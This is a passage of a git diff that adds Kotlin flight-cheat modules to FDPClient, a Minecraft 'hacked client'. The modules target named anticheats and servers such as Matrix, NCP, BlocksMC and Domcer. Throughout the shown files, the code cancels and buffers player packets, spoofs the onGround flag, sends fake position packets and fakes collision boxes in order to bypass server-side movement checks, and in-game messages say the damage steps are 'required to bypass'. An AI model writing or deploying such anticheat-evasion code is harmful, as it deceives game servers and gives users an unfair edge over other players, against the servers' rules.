3000)) + hasWarned = true + } + } else { + if (timer2.hasTimePassed(350)) { + shouldClip = false + FDPClient.hud.addNotification(Notification("Smart Clip", "Smart Clip stopped cliping, you can disable fly now.", NotifyType.WARNING, 5000)) + FDPClient.hud.addNotification(Notification("Smart Clip", "If you have tped back, disable Smart Clip or try again.", NotifyType.WARNING, 5000)) + try { + disableLogger = true + while (!packets.isEmpty()) { + mc.netHandler.addToSendQueue(packets.take()) + } + disableLogger = false + } finally { + disableLogger = false + } + } + } + } else if (clipTimes > 2) { + if (!clipSmart.get()) { + FDPClient.hud.addNotification(Notification("Clip fail", "Clipped too many times, disable fly and try again", NotifyType.ERROR, 3000)) + } + } + + } + "clip3" -> { + blinkTime = 909 + clipTime = 1000 + } + "CustomClip" -> { + blinkTime = customBlink.get() + clipTime = customClip.get() + } + } + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + + + if(timer.hasTimePassed(blinkTime.toLong())) { + timer.reset() + try { + disableLogger = true + while (!packets.isEmpty()) { + mc.netHandler.addToSendQueue(packets.take()) + } + disableLogger = false + } finally { + disableLogger = false + } + } + if(timer2.hasTimePassed((clipTime.toLong()))) { + timer2.reset() + clipTimes ++ + mc.thePlayer.setPosition(mc.thePlayer.posX , mc.thePlayer.posY + yclip.get(), mc.thePlayer.posZ) + } + } + + override fun onDisable() { + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (mc.thePlayer == null || disableLogger) return + if (packet is C03PacketPlayer) { + event.cancelEvent() + } + if (packet is C03PacketPlayer.C04PacketPlayerPosition || packet is C03PacketPlayer.C06PacketPlayerPosLook || + packet is C08PacketPlayerBlockPlacement || + packet is C0APacketAnimation || + packet is C0BPacketEntityAction || packet is C02PacketUseEntity + ) { + event.cancelEvent() + packets.add(packet as Packet<INetHandlerPlayServer>) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/OldMatrixDamageFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/OldMatrixDamageFly.kt new file mode 100644 index 0000000..0a32703 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/matrix/OldMatrixDamageFly.kt @@ -0,0 +1,128 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.cos +import kotlin.math.sin + + +class OldMatrixDamageFly : FlyMode("OldMatrixDamage") { + + + private val mode = ListValue("${valuePrefix}Mode", arrayOf("Stable","Test","Custom"), "Stable") + private val warn = BoolValue("${valuePrefix}DamageWarn",true) + private val timer = FloatValue("${valuePrefix}Timer", 1.0f, 0f, 2f).displayable { mode.equals("Custom") } + private val speedBoost = FloatValue("${valuePrefix}Custom-BoostSpeed", 0.5f, 0f, 3f).displayable { mode.equals("Custom") } + private val boostTicks = IntegerValue("${valuePrefix}Custom-BoostTicks", 27,10,40).displayable { mode.equals("Custom") } + private val randomize = BoolValue("${valuePrefix}Custom-Randomize", true).displayable { mode.equals("Custom") } + private val randomAmount = IntegerValue("${valuePrefix}Custom-RandomAmount", 1, 0, 30).displayable { mode.equals("Custom") } + private val customstrafe = BoolValue("${valuePrefix}Custom-Strafe", true).displayable { mode.equals("Custom") } + private val motionreduceonend = BoolValue("${valuePrefix}MotionReduceOnEnd", true) + + private var velocitypacket = false + private var packetymotion = 0.0 + private var tick = 0 + private var randomNum = 0.2 + + override fun onEnable() { + if (warn.get()) + ClientUtils.displayChatMessage("§8[§c§lMatrix-Dmg-Flight§8] §aGetting damage from other entities (players, arrows, snowballs, eggs...) is required to bypass.") + velocitypacket = false + packetymotion = 0.0 + tick = 0 + } + + private fun resetmotion() { + if(motionreduceonend.get()) { + mc.thePlayer.motionX = mc.thePlayer.motionX / 10 + mc.thePlayer.motionY = mc.thePlayer.motionY / 10 + mc.thePlayer.motionZ = mc.thePlayer.motionZ / 10 + } + } + + override fun onUpdate(event: UpdateEvent) { + if(motionreduceonend.get()) { + fly.needReset = false + } + if(velocitypacket) { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + when(mode.get().lowercase()) { + "stable" -> { + mc.timer.timerSpeed = 1.0F + mc.thePlayer.motionX += (-sin(yaw) * 0.416) + mc.thePlayer.motionZ += (cos(yaw) * 0.416) + mc.thePlayer.motionY = packetymotion + + if(tick++ >=27) { + resetmotion() + mc.timer.timerSpeed = 1.0f + velocitypacket = false + packetymotion = 0.0 + tick = 0 + } + } + "test"-> { + if (tick++ >= 4) { + mc.timer.timerSpeed = 1.1F + mc.thePlayer.motionX += (-sin(yaw) * 0.420) + mc.thePlayer.motionZ += (cos(yaw) * 0.420) + } else { + mc.timer.timerSpeed = 0.9F + mc.thePlayer.motionX += (-sin(yaw) * 0.330) + mc.thePlayer.motionZ += (cos(yaw) * 0.330) + } + mc.thePlayer.motionY = packetymotion + if (tick++ >= 27) { + resetmotion() + mc.timer.timerSpeed = 1.0f + velocitypacket = false + packetymotion = 0.0 + tick = 0 + } + } + "custom" -> { + if(customstrafe.get()) + MovementUtils.strafe() + randomNum = if (randomize.get()) Math.random() * randomAmount.get() * 0.01 else 0.0 + mc.timer.timerSpeed = timer.get() + mc.thePlayer.motionX += (-sin(yaw) * (0.3 + (speedBoost.get().toDouble() / 10 ) + randomNum)) + mc.thePlayer.motionZ += (cos(yaw) * (0.3 + (speedBoost.get().toDouble() / 10 ) + randomNum)) + mc.thePlayer.motionY = packetymotion + if(tick++ >=boostTicks.get()) { + resetmotion() + mc.timer.timerSpeed = 1.0f + velocitypacket = false + packetymotion = 0.0 + tick = 0 + } + } + } + + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + resetmotion() + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) return + if(packet.motionY / 8000.0 > 0.2) { + velocitypacket = true + packetymotion = packet.motionY / 8000.0 + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlockdropFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlockdropFly.kt new file mode 100644 index 0000000..4262ab8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlockdropFly.kt @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.ncp + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +class BlockdropFly : FlyMode("BlockDrop") { + private val hSpeedValue = FloatValue("${valuePrefix}HorizontalSpeed", 1f, 0.1f, 5f) + private val vSpeedValue = FloatValue("${valuePrefix}VerticalSpeed", 1f, 0.1f, 5f) + private var startx = 0.0 + private var starty = 0.0 + private var startz = 0.0 + private var startyaw = 0f + private var startpitch = 0f + + override fun onEnable() { + startx = mc.thePlayer.posX + starty = mc.thePlayer.posY + startz = mc.thePlayer.posZ + startyaw = mc.thePlayer.rotationYaw + startpitch = mc.thePlayer.rotationPitch + } + + + override fun onUpdate(event: UpdateEvent) { + MovementUtils.resetMotion(true) + if (mc.gameSettings.keyBindJump.isKeyDown) mc.thePlayer.motionY = vSpeedValue.get().toDouble() + if (mc.gameSettings.keyBindSneak.isKeyDown) mc.thePlayer.motionY -= vSpeedValue.get().toDouble() + MovementUtils.strafe(hSpeedValue.get()) + + repeat(2) { + PacketUtils.sendPacketNoEvent( + C03PacketPlayer.C06PacketPlayerPosLook( + startx, + starty, + startz, + startyaw, + startpitch, + true + ) + ) + } + repeat(2) { + PacketUtils.sendPacketNoEvent( + C03PacketPlayer.C06PacketPlayerPosLook( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + startyaw, + startpitch, + false + ) + ) + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer) { + event.cancelEvent() + } + if (packet is S08PacketPlayerPosLook) { + startx = packet.x + starty = packet.y + startz = packet.z + startyaw = packet.getYaw() + startpitch = packet.getPitch() + event.cancelEvent() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlocksMCFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlocksMCFly.kt new file mode 100644 index 0000000..7eb465e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/BlocksMCFly.kt @@ -0,0 +1,88 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.ncp + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.Flight +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.script.api.global.Chat.alert +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.init.Blocks +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement + +class BlocksMCFly : FlyMode("BlocksMc") { + private var bmcSpeed = 0.0 + private var starteds = false + override fun onEnable() { + bmcSpeed = 0.0 + starteds = false + val bb = mc.thePlayer.entityBoundingBox.offset(0.0, 1.0, 0.0) + if (mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty() && !starteds) { + alert("failed to toggle fly") + Flight.state= false + } else alert("waiting...") + } + + @EventTarget + override fun onMotion(event: MotionEvent) { + if (event.eventState === EventState.PRE) { + val bb = mc.thePlayer.entityBoundingBox.offset(0.0, 1.0, 0.0) + + if (mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, bb).isEmpty() && !starteds) { + starteds = true + mc.thePlayer.jump() + MovementUtils.strafe(5.also { bmcSpeed = it.toDouble() }.toFloat()) + alert("started") + } + + if (starteds) { + val pos = mc.thePlayer.position.add(0.0, -1.5, 0.0) + if (mc.thePlayer.onGround) { + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement( + pos, + 1, + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), + 0.0F, + 0.5F + Math.random().toFloat() * 0.44.toFloat(), + 0.0F + ) + ) + } + if (mc.thePlayer.ticksExisted % 4 == 0) { + alert("sent c08") + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement( + pos, + 1, + ItemStack(Blocks.stone.getItem(mc.theWorld, pos)), + 0.0F, + 0.5F + Math.random().toFloat() * 0.44.toFloat(), + 0.0F + ) + ) + } + MovementUtils.strafe(0.95f.let { bmcSpeed *= it; bmcSpeed }.toFloat()) + if (bmcSpeed >= 3.1f) + mc.timer.timerSpeed = 0.45f + else mc.timer.timerSpeed = 0.2f + alert(bmcSpeed.toString()) + if (bmcSpeed <= 3f) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + alert("disabled") + Flight.state = false + } + } + } + } + + override fun onDisable() { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = 0.0 + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPPacketFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPPacketFly.kt new file mode 100644 index 0000000..2f0a46b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPPacketFly.kt @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.ncp + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import kotlin.math.cos +import kotlin.math.sin + +class NCPPacketFly : FlyMode("NCPPacket") { + private val timerValue = FloatValue("${valuePrefix}Timer", 1.1f, 1.0f, 1.3f) + private val speedValue = FloatValue("${valuePrefix}Speed", 0.28f, 0.27f, 0.29f) + + override fun onUpdate(event: UpdateEvent) { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + val x = -sin(yaw) * speedValue.get() + val z = cos(yaw) * speedValue.get() + MovementUtils.resetMotion(true) + mc.timer.timerSpeed = timerValue.get() + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX + x, mc.thePlayer.motionY , mc.thePlayer.motionZ + z, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX + x, mc.thePlayer.motionY - 490, mc.thePlayer.motionZ + z, true)) + mc.thePlayer.posX += x + mc.thePlayer.posZ += z + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPSlimeFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPSlimeFly.kt new file mode 100644 index 0000000..8623d16 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/ncp/NCPSlimeFly.kt @@ -0,0 +1,202 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.ncp + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.extensions.rayTraceWithCustomRotation +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.block.BlockAir +import net.minecraft.item.ItemBlock +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.* +import net.minecraft.network.play.server.S12PacketEntityVelocity +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.MovingObjectPosition +import net.minecraft.util.Vec3 +import java.util.* +class NCPSlimeFly : FlyMode("NCPSlime") { + private val timerBoostValue = BoolValue("${valuePrefix}DoTimer", true) + private val swingModeValue = ListValue("${valuePrefix}SwingMode", arrayOf("Normal","Packet"), "Normal") + private var stage = Stage.WAITING + private var ticks = 0 + private var packets = 0 + private val timer = MSTimer() + private var firstlaunch = true + private var needreset = false + private var vanillabypass = 0 + private var test = 1.0 + private val packetBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + override fun onEnable() { + test = 1.0 + needreset = false + firstlaunch = true + vanillabypass = 0 + packets = 0 + ticks = 0 + packetBuffer.clear() + timer.reset() + if(mc.thePlayer.onGround) { + stage = Stage.WAITING + mc.thePlayer.jump() + } else { + stage = Stage.INFFLYING + } + } + + override fun onWorld(event: WorldEvent) { + packetBuffer.clear() + timer.reset() + } + + override fun onPacket(event: PacketEvent) { + if(stage == Stage.WAITING) return + + val packet = event.packet + + if(packet is C03PacketPlayer) { + packet.onGround = true + packetBuffer.add(packet) + event.cancelEvent() + } + if(packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) return + + event.cancelEvent() + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1.0f + for (packet in packetBuffer) { + PacketUtils.sendPacketNoEvent(packet) + } + packetBuffer.clear() + } + + override fun onUpdate(event: UpdateEvent) { + if(timer.hasTimePassed((Math.random() * 1000).toLong())) { + timer.reset() + for (packet in packetBuffer) { + PacketUtils.sendPacketNoEvent(packet) + } + packetBuffer.clear() + } + when (stage) { + Stage.WAITING -> { + if(mc.thePlayer.posY >= fly.launchY + 0.8) { + if(mc.thePlayer.onGround) { + RotationUtils.setTargetRotation(Rotation(mc.thePlayer.rotationYaw, 90f)) + val movingObjectPosition = mc.thePlayer.rayTraceWithCustomRotation(4.5, mc.thePlayer.rotationYaw, 90.0f) + if (movingObjectPosition?.typeOfHit != MovingObjectPosition.MovingObjectType.BLOCK) return + val blockPos = movingObjectPosition.blockPos + val enumFacing = movingObjectPosition.sideHit + if(mc.playerController.onPlayerDamageBlock(blockPos, enumFacing)) { + stage = Stage.FLYING + } + mc.thePlayer.motionY = 0.0 + } else { + RotationUtils.setTargetRotation(Rotation(mc.thePlayer.rotationYaw, 90f)) + var slot = -1 + for (j in 0..8) { + if (mc.thePlayer.inventory.getStackInSlot(j) != null && mc.thePlayer.inventory + .getStackInSlot(j).item is ItemBlock + ) { + slot = PlayerUtils.findSlimeBlock()!! + break + } + } + + if(slot == -1) { + fly.state = false + FDPClient.hud.addNotification(Notification("NCPSlimeFly", "U need a slime blocks to use this fly", NotifyType.ERROR, 1000)) + return + } + + val oldSlot = mc.thePlayer.inventory.currentItem + mc.thePlayer.inventory.currentItem = slot + val movingObjectPosition = mc.thePlayer.rayTraceWithCustomRotation(4.5, mc.thePlayer.rotationYaw, 90.0f) + if (movingObjectPosition?.typeOfHit != MovingObjectPosition.MovingObjectType.BLOCK) return + val blockPos = movingObjectPosition.blockPos + val enumFacing = movingObjectPosition.sideHit + val hitVec: Vec3 = movingObjectPosition.hitVec + if (mc.playerController.onPlayerRightClick( + mc.thePlayer, + mc.theWorld, + mc.thePlayer.heldItem, + blockPos, + enumFacing, + hitVec + ) + ) { + when (swingModeValue.get().lowercase()) { + "normal" -> mc.thePlayer.swingItem() + + "packet" -> mc.netHandler.addToSendQueue(C0APacketAnimation()) + } + } + mc.thePlayer.inventory.currentItem = oldSlot + } + } + } + Stage.FLYING, Stage.INFFLYING -> { + if(timerBoostValue.get()) { + ticks++ + when(ticks) { + in 1..10 -> mc.timer.timerSpeed = 2f + + in 10..15 -> mc.timer.timerSpeed = 0.4f + } + if(ticks>=15) { + ticks = 0 + mc.timer.timerSpeed = 0.6f + } + } else { + mc.timer.timerSpeed = 1.0f + } + } + } + } + override fun onBlockBB(event: BlockBBEvent) { + when(stage) { + Stage.WAITING -> { + if (event.block is BlockAir && event.y <= fly.launchY + 100) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } + Stage.FLYING -> { + if (event.block is BlockAir && event.y <= fly.launchY + 1) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } + Stage.INFFLYING -> { + if (event.block is BlockAir && event.y <= mc.thePlayer.posY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } + } + } + + override fun onJump(event: JumpEvent) { + if(stage == Stage.WAITING) return + + event.cancelEvent() + } + + override fun onStep(event: StepEvent) { + if(stage == Stage.WAITING) return + + event.stepHeight = 0.0f + } + + enum class Stage { + WAITING, + FLYING, + INFFLYING + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/ClipFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/ClipFly.kt new file mode 100644 index 0000000..84ecc0d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/ClipFly.kt @@ -0,0 +1,66 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.client.C03PacketPlayer + +import kotlin.math.cos +import kotlin.math.sin + +class ClipFly : FlyMode("Clip") { + private val xValue = FloatValue("${valuePrefix}X", 2f, -5f, 5f) + private val yValue = FloatValue("${valuePrefix}Y", 2f, -5f, 5f) + private val zValue = FloatValue("${valuePrefix}Z", 2f, -5f, 5f) + private val delayValue = IntegerValue("${valuePrefix}Delay", 500, 0, 3000) + private val motionXValue = FloatValue("${valuePrefix}MotionX", 0f, -1f, 1f) + private val motionYValue = FloatValue("${valuePrefix}MotionY", 0f, -1f, 1f) + private val motionZValue = FloatValue("${valuePrefix}MotionZ", 0f, -1f, 1f) + private val spoofValue = BoolValue("${valuePrefix}SpoofGround", false) + private val groundValue = BoolValue("${valuePrefix}GroundWhenClip", true) + private val timerValue = FloatValue("${valuePrefix}Timer", 0.7f, 0.02f, 2.5f) + + private val timer = MSTimer() + private var lastJump = false + + override fun onEnable() { + timer.reset() + lastJump = false + } + + override fun onMotion(event: MotionEvent) { + if (event.eventState != EventState.POST) + return + + mc.timer.timerSpeed = timerValue.get() + mc.thePlayer.motionX = motionXValue.get().toDouble() + mc.thePlayer.motionY = motionYValue.get().toDouble() + mc.thePlayer.motionZ = motionZValue.get().toDouble() + if (timer.hasTimePassed(delayValue.get().toLong())) { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + mc.thePlayer.setPosition(mc.thePlayer.posX + (-sin(yaw) * xValue.get()), mc.thePlayer.posY + yValue.get(), mc.thePlayer.posZ + (cos(yaw) * zValue.get())) + timer.reset() + lastJump = true + } + mc.thePlayer.jumpMovementFactor = 0.00f + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C03PacketPlayer) { + if(spoofValue.get()) { + packet.onGround = true + } + if(groundValue.get() && (timer.hasTimePassed(delayValue.get().toLong()) || lastJump)) { + packet.onGround = true + lastJump = false + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/DomcerFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/DomcerFly.kt new file mode 100644 index 0000000..b70ceef --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/DomcerFly.kt @@ -0,0 +1,52 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.block.BlockAir +import net.minecraft.util.AxisAlignedBB + +class DomcerFly : FlyMode("Domcer") { + private var flyValue = FloatValue("${valuePrefix}Vertical", 0.5f, 0.1f, 3f) + private var ticks = 0 + + override fun onEnable() { + ticks = 0 + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + override fun onMove(event: MoveEvent) { + if (ticks % 10 == 0 && mc.thePlayer.onGround) { + MovementUtils.strafe(1f) + event.y = 0.42 + ticks = 0 + mc.thePlayer.motionY = 0.0 + MovementUtils.setMotion(1.1485 + Math.random() / 50) + } else { + if (mc.gameSettings.keyBindJump.isKeyDown && ticks % 2 == 1) { + event.y = flyValue.get().toDouble() + MovementUtils.strafe(0.425f) + fly.launchY += flyValue.get().toDouble() + mc.timer.timerSpeed = 0.95f + return + } + mc.timer.timerSpeed = 1f + MovementUtils.strafe(0.685f) + } + ticks++ + } + + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && event.y <= fly.launchY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } + + override fun onJump(event: JumpEvent) = event.cancelEvent() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FakeGroundFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FakeGroundFly.kt new file mode 100644 index 0000000..f5ef91a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FakeGroundFly.kt @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.block.BlockAir +import net.minecraft.util.AxisAlignedBB + +class FakeGroundFly : FlyMode("FakeGround") { + private val noJumpValue = BoolValue("${valuePrefix}NoJump", false) + private val jumpUpYValue = BoolValue("${valuePrefix}JumpUpY", false) + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && event.y <= fly.launchY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } + override fun onJump(event: JumpEvent) { + if (noJumpValue.get()) { + event.cancelEvent() + }else if (jumpUpYValue.get()) { + fly.launchY += 1.0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FireballFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FireballFly.kt new file mode 100644 index 0000000..992961b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FireballFly.kt @@ -0,0 +1,77 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.other + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.server.S27PacketExplosion + +class FireballFly : FlyMode("Fireball") { + + + private val warn = BoolValue("${valuePrefix}DamageWarn",true) + private val boostValue = FloatValue("${valuePrefix}BoostAmount", 1.4f, 0f, 2f) + private val frictionValue = FloatValue("${valuePrefix}Friction", 0.99f, 0.9f, 1f) + private val frictionDurationValue = IntegerValue("${valuePrefix}FrictionDuration", 12, 3, 20) + private val modifyYmotionValue = BoolValue("${valuePrefix}ModifyYmotion", true) + private val yMotionValue = FloatValue("${valuePrefix}Ymotion", 1.4f, 0.42f, 3f) + private val timerValue = FloatValue("${valuePrefix}Timer", 1.0f, 0f, 2f) + + private var velocitypacket = false + private var tick = 0 + private var mSpeed = 0f + + override fun onEnable() { + if (warn.get()) + ClientUtils.displayChatMessage("§8[§c§lFireball-Flight§8] §aGetting exlposion from a fireball or tnt is required to bypass.") + velocitypacket = false + tick = 0 + } + + override fun onUpdate(event: UpdateEvent) { + mc.timer.timerSpeed = 1.0f + + if(velocitypacket) { + mc.timer.timerSpeed = timerValue.get() + if (tick == 0) { + if (modifyYmotionValue.get()) { + mc.thePlayer.motionY = yMotionValue.get().toDouble() + } else { + mc.thePlayer.jump() + } + + MovementUtils.strafe(boostValue.get()) + mSpeed = boostValue.get() + } else if (tick < frictionDurationValue.get()) { + mSpeed *= frictionValue.get() + MovementUtils.strafe(mSpeed) + } else { + velocitypacket = false + fly.state = false + } + tick++ + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S27PacketExplosion ) { + tick = 0 + velocitypacket = true + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FlagFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FlagFly.kt new file mode 100644 index 0000000..f5ec058 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/other/FlagFly.kt @@ -0,0 +1,25 @@ +package 